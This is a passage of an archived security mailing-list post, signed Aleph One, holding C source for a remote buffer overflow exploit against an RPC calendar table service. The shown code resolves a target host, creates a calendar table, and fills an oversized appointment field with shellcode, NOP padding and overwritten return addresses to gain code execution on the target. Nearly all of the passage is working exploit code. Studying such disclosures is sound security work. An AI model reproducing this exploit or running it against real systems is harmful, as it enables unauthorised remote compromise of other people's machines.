    extern Uid* copy_keyentry();
    extern Access_Entry* make_access_entry();
    extern Access_Entry* copy_access_list();
    extern void destroy_access_list();
    extern Abb_Appt *copy_single_abbrev_appt();
    extern Attribute *make_attr();
    
    /* ----- rpcgen ----- */
    
    unsigned long resolve(char *host)
    {
      long i;
      struct hostent *he;
    
      if((i=inet_addr(host))==(-1))
        if(!(he=gethostbyname(host)))
          return(0);
        else
          return(*(unsigned long *)he->h_addr);
    
      return(i);
    }
    
    int main(int argc, char *argv[])
    {
      char obuf[OFBUFSIZ+1], abuf[ALIGN+1];
      struct sockaddr_in sin;
      struct timeval tv;
      Table_Op_Args toa;
      Table_Status ts;
      Table_Args ta;
      Table_Res tr;
      Appt ap;
      int sock;
      unsigned long *ptr;
      CLIENT *c;
    
      if(argc!=2)
        {
          (void)fprintf(stderr,"error: usage: %s <full hostname>\n",argv[0]);
          exit(-1);
        }
    
      (void)memset(&sin,0,sizeof(sin));
      sin.sin_family = AF_INET;
    
      if(!(sin.sin_addr.s_addr=resolve(argv[1])))
        {
          (void)fprintf(stderr,"error: can not resolve: %s\n",argv[1]);
          exit(-1);
        }
    
      (void)memset(&tv,0,sizeof(tv));
      tv.tv_sec = 7;
    
      sock = RPC_ANYSOCK;
      if(!(c=(CLIENT *)clntudp_create(&sin,TABLEPROG,4,tv,&sock)))
        {
          (void)clnt_pcreateerror(argv[0]);
          exit(1);
        }
      c->cl_auth = authunix_create(argv[1],0,0,0,0);
    
      (void)memset(&toa,0,sizeof(toa));
      toa.target = cname;
    
      (void)memset(&ts,0,sizeof(ts));
    
      if(clnt_call(c,rtable_create,xdr_Table_Op_Args,(caddr_t)&toa,
    	       xdr_Table_Status,(caddr_t)&ts,tv)!=RPC_SUCCESS)
        {
          (void)clnt_perror(c,"error: rtable_create");
          exit(-1);
        }
    
      (void)memset(abuf,0xff,sizeof(abuf));
      abuf[sizeof(abuf)-1] = 0;
    
      for(ptr=(unsigned long *)obuf;
          ptr<(unsigned long *)(obuf+BUFSIZ-(sizeof(c0de)-sizeof(unsigned long)));
          ptr++)
        *ptr = *(unsigned long *)c0de;
    
      (void)strcpy((char *)ptr,(c0de+sizeof(unsigned long)));
    
      ptr += ((sizeof(c0de)/sizeof(unsigned long))-1);
    
      for(;ptr<(unsigned long *)(obuf+BUFSIZ+PRE_RET);ptr++)
        *ptr = (0xeffffff0-RW_OFFSET);
    
      for(;ptr<(unsigned long *)(obuf+BUFSIZ+REG_W_SIZ);ptr++)
        *ptr = (0xeffffff0-X_OFFSET);
    
      for(;ptr<(unsigned long *)(obuf+BUFSIZ+REG_W_SIZ+NOPS);ptr++)
        *ptr = *(unsigned long *)c0de;
    
      (void)strcpy((char *)ptr,(c0de+sizeof(unsigned long)));
    
      (void)memset(&ap,0,sizeof(ap));
      ap.duration = ap.ntimes = ap.period.period = ap.period.nth = 1;
      ap.what = abuf;
      ap.client_data = &obuf[2];
    
      (void)memset(&ta,0,sizeof(ta));
      ta.args.tag = APPT;
      ta.target = cname;
      ta.args.Args_u.appt = &ap;
    
      (void)memset(&tr,0,sizeof(tr));
    
      if(clnt_call(c,rtable_insert,xdr_Table_Args,(caddr_t)&ta,
    	       xdr_Table_Res,(caddr_t)&tr,tv)!=RPC_SUCCESS)
        (void)printf("possible success\n");
      else
        {
          (void)fprintf(stderr,"error: exploit faile: rtable_insert returned\n");
          exit(-1);
        }
    
      (void)clnt_destroy(c);
    
      return(0);
    }
    
    --
    Aleph One / aleph1at_private
    http://underground.org/
    KeyID 1024/948FD6B5
    Fingerprint EE C9 E8 AA CB AF 09 61  8C 39 EA 47 A8 6A B8 01
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:52:09 PDT